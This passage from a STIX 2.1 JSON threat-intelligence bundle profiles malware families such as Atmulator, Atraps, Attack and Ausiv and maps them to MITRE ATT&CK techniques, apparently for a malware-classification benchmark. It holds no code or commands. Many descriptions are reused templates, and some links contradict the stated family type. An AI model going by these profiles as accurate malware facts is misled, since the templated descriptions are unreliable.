      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--577d676f-62e9-5f20-ae13-6aacf3e1a51b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atmrod exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e61e0ef-1108-568e-bbb6-b3a31f97a847",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--577d676f-62e9-5f20-ae13-6aacf3e1a51b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atmrod exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9e0555f-9254-5dc2-9205-17c9052373c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--577d676f-62e9-5f20-ae13-6aacf3e1a51b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atmrod exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--07beee42-a4c6-51a0-b59c-5e2cc46ffe0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Atmulator",
      "description": "Atmulator (classified in antivirus detection telemetry under designations including Ransom:Win32/Atmulator, Ransom.Win32.Atmulator, and Win32/Atmulator) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Atmulator executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Atmulator",
        "Downloader.Atmulator",
        "Win32/Atmulator",
        "Ransom:Win32/Atmulator",
        "Ransom.Win32.Atmulator"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Atmulator",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/atmulator"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ac7f2fd-c56a-592e-9025-05c8f5f61e7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07beee42-a4c6-51a0-b59c-5e2cc46ffe0e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atmulator exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63c10ab6-9877-5bb3-885d-bc48f181a27c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07beee42-a4c6-51a0-b59c-5e2cc46ffe0e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atmulator exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69302d05-f3cd-5a41-bbc0-ecd2a465c636",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07beee42-a4c6-51a0-b59c-5e2cc46ffe0e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atmulator exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--70507b8c-e110-546d-bb9a-108c8ddb1d60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Atom",
      "description": "Atom (classified in antivirus detection telemetry under designations including Ransom:Win32/Atom, Ransom.Win32.Atom, and Win32/Atom) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Atom executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.AtomBombing",
        "Ransomware.Atom",
        "Win32/Atom",
        "Ransom:Win32/Atom",
        "Ransom.Win32.Atom"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Atom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/atom"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bfdcc12c-37f5-5ebe-961a-b814acc00d77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70507b8c-e110-546d-bb9a-108c8ddb1d60",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atom exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54f73f5c-8d7b-57ab-9379-a890fdfc167e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70507b8c-e110-546d-bb9a-108c8ddb1d60",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atom exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3316b9dc-cef6-5c12-b74a-2173eb5867a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70507b8c-e110-546d-bb9a-108c8ddb1d60",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atom exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bc8b4df-b5d1-542a-862f-adb94a3b6b32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--70507b8c-e110-546d-bb9a-108c8ddb1d60",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atom exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6e9b6875-32ff-5ed3-a856-3a17a59c6b9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Atomicrat",
      "description": "Atomicrat (classified in antivirus detection telemetry under designations including Backdoor:Win32/Atomicrat, Backdoor.Win32.Atomicrat, and Win32/Atomicrat) is a interactive remote access trojan and backdoor providing remote threat actors with unauthorized terminal control, file manipulation, and surveillance. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Atomicrat executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include reverse shell connections, process hollowing, privilege escalation, and lateral movement reconnaissance. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "OSX.AtomicRAT",
        "Trojan.Atomic",
        "Backdoor.AtomicRAT",
        "Backdoor:Win32/Atomicrat",
        "Backdoor.Win32.Atomicrat",
        "Win32/Atomicrat"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Atomicrat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/atomicrat"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--838017fa-dd50-53bf-9812-2cfdb0f6210d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e9b6875-32ff-5ed3-a856-3a17a59c6b9c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atomicrat exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7037492-4771-591f-a165-b8731673a5d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e9b6875-32ff-5ed3-a856-3a17a59c6b9c",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atomicrat exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48e47fb3-9233-5400-bddf-c18ca08016ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e9b6875-32ff-5ed3-a856-3a17a59c6b9c",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atomicrat exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9462117f-9477-5cec-b48e-f85ad21e9e4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e9b6875-32ff-5ed3-a856-3a17a59c6b9c",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atomicrat exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--034abb43-c50c-592b-ae9d-38d34ff3ebab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Atomix",
      "description": "Atomix (classified in antivirus detection telemetry under designations including Ransom:Win32/Atomix, Ransom.Win32.Atomix, and Win32/Atomix) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Atomix executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Atomix",
        "Downloader.Atomix",
        "Win32/Atomix",
        "Ransom:Win32/Atomix",
        "Ransom.Win32.Atomix"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Atomix",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/atomix"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84c74de9-0aae-50d0-8fec-182e69c1ef9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--034abb43-c50c-592b-ae9d-38d34ff3ebab",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atomix exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e83b658-cdd5-5ac2-bbf6-ae5184948254",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--034abb43-c50c-592b-ae9d-38d34ff3ebab",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atomix exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c97d5d32-39f7-513a-b620-2863d25f4600",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--034abb43-c50c-592b-ae9d-38d34ff3ebab",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atomix exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--75cb07a5-e7ef-51d5-aa8d-d4ee1bdec8be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Atraps",
      "description": "Atraps (cataloged across security vendors under designations including PWS:Win32/Atraps, TrojanSpy:Win32/Atraps, and Trojan.Win32.Atraps) is a covert password-stealing trojan and spyware family active since 2011. Engineered to harvest high-value user authentication credentials and confidential session tokens from Windows endpoints, Atraps is frequently distributed via weaponized spearphishing attachments, malicious torrent archives, and deceptive utility or keygen setups. Upon execution, the malware copies its primary binary into %APPDATA% or %TEMP% directories, masquerading as legitimate Windows operating system components (such as lsass.exe or svchost.exe) to evade user detection. Atraps employs global Windows API hooks (notably SetWindowsHookEx) to monitor and record keystrokes across all desktop applications, extracts saved credentials, passwords, and autocomplete forms from web browsers (Chrome, Edge, Firefox), and scrapes authentication details from FTP clients and local email stores. The captured intelligence is encrypted into temporary local log caches and covertly exfiltrated to threat actor command-and-control servers via structured HTTP POST beacons. (Observed samples in benchmark: 164)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PWS:Win32/Atraps",
        "TrojanSpy:Win32/Atraps",
        "Trojan.Win32.Atraps",
        "Win32/Atraps",
        "Spyware.Atraps"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Atraps",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/atraps"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dada6300-53f9-5aed-a31c-162c7336d543",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75cb07a5-e7ef-51d5-aa8d-d4ee1bdec8be",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atraps exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75b7e607-b7a0-59ea-82b9-abd684d6e69d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75cb07a5-e7ef-51d5-aa8d-d4ee1bdec8be",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atraps exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f25d612-e50a-56fe-83c6-a9f8e8c1a219",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75cb07a5-e7ef-51d5-aa8d-d4ee1bdec8be",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atraps exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea6fc961-37d8-55f8-b824-05bc4c55f496",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75cb07a5-e7ef-51d5-aa8d-d4ee1bdec8be",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atraps exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4847cd7-2a9a-5fd4-8f20-d2a58f8b12bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75cb07a5-e7ef-51d5-aa8d-d4ee1bdec8be",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Atraps exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6d57f941-173a-587a-b210-b4769765b68a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Attack",
      "description": "Attack (classified across antimalware research as Trojan:Win32/Attack and HackTool:Win32/Attack) is a modular post-exploitation attack framework and lateral movement utility. Used by red teams and threat actors alike, Attack incorporates automated port scanning, SMB credential spraying, pass-the-hash execution, and remote service creation routines. Once established on an initial foothold, Attack queries domain controllers, maps network subnet topologies, tests default administrative credentials, and injects secondary payloads into remote systems via WMI or administrative shares (IPC$, ADMIN$). (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "exploit-kit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Attack",
        "HackTool:Win32/Attack",
        "Win32/Attack",
        "Attack Lateral Tool",
        "Trojan.Attack"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Attack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/attack"
        }
      ],
      "labels": [
        "hacktool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--721a8e87-b81b-5fad-9c22-4a0c4a1bc252",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d57f941-173a-587a-b210-b4769765b68a",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Attack exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1046: Network Service Discovery (Port Scanning)",
      "description": "MITRE ATT&CK Technique T1046 (Network Service Discovery (Port Scanning)) under tactic Discovery.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1046",
          "url": "https://attack.mitre.org/techniques/T1046/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e1bbf92-4b49-556e-a1b9-8c4cb435b2c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d57f941-173a-587a-b210-b4769765b68a",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Attack exhibits technique T1046 (Network Service Discovery (Port Scanning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14318fef-5994-5ce9-b4e3-d13eae89d385",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d57f941-173a-587a-b210-b4769765b68a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Attack exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1068: Exploitation for Privilege Escalation",
      "description": "MITRE ATT&CK Technique T1068 (Exploitation for Privilege Escalation) under tactic Privilege Escalation.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1068",
          "url": "https://attack.mitre.org/techniques/T1068/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9fec2991-3907-5649-aac8-61ef2375da4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d57f941-173a-587a-b210-b4769765b68a",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Attack exhibits technique T1068 (Exploitation for Privilege Escalation)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61537579-364a-5423-a4af-48ad893e2af9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d57f941-173a-587a-b210-b4769765b68a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Attack exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2d8b3559-c39c-557f-b451-f94356a2f43b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ausiv",
      "description": "Ausiv (cataloged across security vendors as Trojan:Win32/Ausiv, Worm:Win32/Ausiv, and Trojan.Win32.Ausiv) is a hybrid Windows trojan and worm framework that emerged around 2011. Engineered for persistent secondary malware delivery and lateral network spread, Ausiv attempts to replicate across mapped network shares and removable USB media while maintaining command-and-control connectivity with attacker servers. Upon initial execution, Ausiv creates hidden directories within %APPDATA%, drops its payload binary, and modifies registry autostart keys. The malware periodically polls C2 servers over HTTP/TCP to download secondary ransomware, spyware, or adware components, while scanning local subnets and removable drives for write permissions to drop autorun and shortcut LNK files exploiting CVE-2010-2568. (Observed samples in benchmark: 422)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Ausiv",
        "Worm:Win32/Ausiv",
        "Trojan.Win32.Ausiv",
        "Win32/Ausiv.A",
        "Ausiv.Worm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ausiv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ausiv"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04af707c-e306-5f69-9a3e-bdb6181db14c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d8b3559-c39c-557f-b451-f94356a2f43b",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ausiv exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9290cb58-96dc-5497-b948-bc662378f89f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d8b3559-c39c-557f-b451-f94356a2f43b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ausiv exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08fee59b-73cf-5071-86b7-1ca33a9ed6ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d8b3559-c39c-557f-b451-f94356a2f43b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ausiv exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b1ee952-feb8-5fc3-bfec-82450a7b5396",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d8b3559-c39c-557f-b451-f94356a2f43b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
